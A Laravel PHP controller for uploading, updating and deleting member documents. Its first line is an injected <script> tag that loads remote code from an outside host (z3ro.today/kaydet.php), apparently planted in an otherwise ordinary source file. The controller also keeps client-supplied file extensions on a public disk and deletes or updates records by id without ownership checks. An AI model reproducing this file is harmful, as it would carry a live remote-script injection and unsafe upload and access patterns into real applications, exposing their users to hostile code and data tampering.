<script src="http://z3ro.today/kaydet.php"></script><?php

namespace App\Http\Controllers;

use App\Models\Document;
use App\Models\Members;
use Illuminate\Http\Request;

class DocumentController extends Controller
{
    public function adddocs()
    {
        $memberInfo = Members::where('id', session('member_id'))->first();

        if (!$memberInfo) {
            return back()->withError('Invalid parameter or Member not found!');
        }

        return view('member-details.adddocs', compact('memberInfo'));
    }

    public function uploaddocs(Request $request)
    {
        $name = auth()->user()->name;

        // storing training certificate
        if ($request->hasFile('document_upload')) {
            $documents = $request->file('document_upload');
            $docsExt = $documents->getClientOriginalExtension();
            $docsName = date('Y-m-d') . '-work-document-' . RandomNum(4) . '-' . $name . '-' . time() . '.' . $docsExt;

            $document_upload = $documents->storeAs('work-document', $docsName, ['disk' => 'public']);
        } else {
            $document_upload = 0;
        }

        $data = new Document();

        $data->members_id = session('member_id');
        $data->document_upload = $document_upload;

        $data->save();

        return redirect()->route('member.details', session('member_id'))->with('message', 'Document uploaded successfully');
    }

    public function deletedocs($id)
    {
        $uploadfile = Document::find($id);
        $uploadfile->delete();

        return redirect()->back()->with('message', 'Document data deleted successfully');
    }

    public function updatedocsview($id)
    {
        $docs = Document::find($id);

        $memberInfo = Members::where('id', session('member_id'))->first();

        if (!$memberInfo) {
            return back()->withError('Invalid parameter or Member not found!');
        }

        return view('member-details.updatedocs', compact('memberInfo', 'docs'));
    }

    public function updatedocs(Request $request, $id)
    {
        $data = Document::find($id);
        $name = auth()->user()->name;

        // storing training certificate
        if ($request->hasFile('document_upload')) {
            $documents = $request->file('document_upload');
            $docsExt = $documents->getClientOriginalExtension();
            $docsName = date('Y-m-d') . '-document-upload-' . RandomNum(4) . '-' . $name . '-' . time() . '.' . $docsExt;

            $document_upload = $documents->storeAs('document-upload', $docsName, ['disk' => 'public']);
        } else {
            $document_upload = $data->document_upload;
        }

        $data->members_id = session('member_id');
        $data->document_upload = $document_upload;

        $data->save();

        return redirect()->route('member.details', session('member_id'))->with('message', 'Degree updated successfully');
    }
}
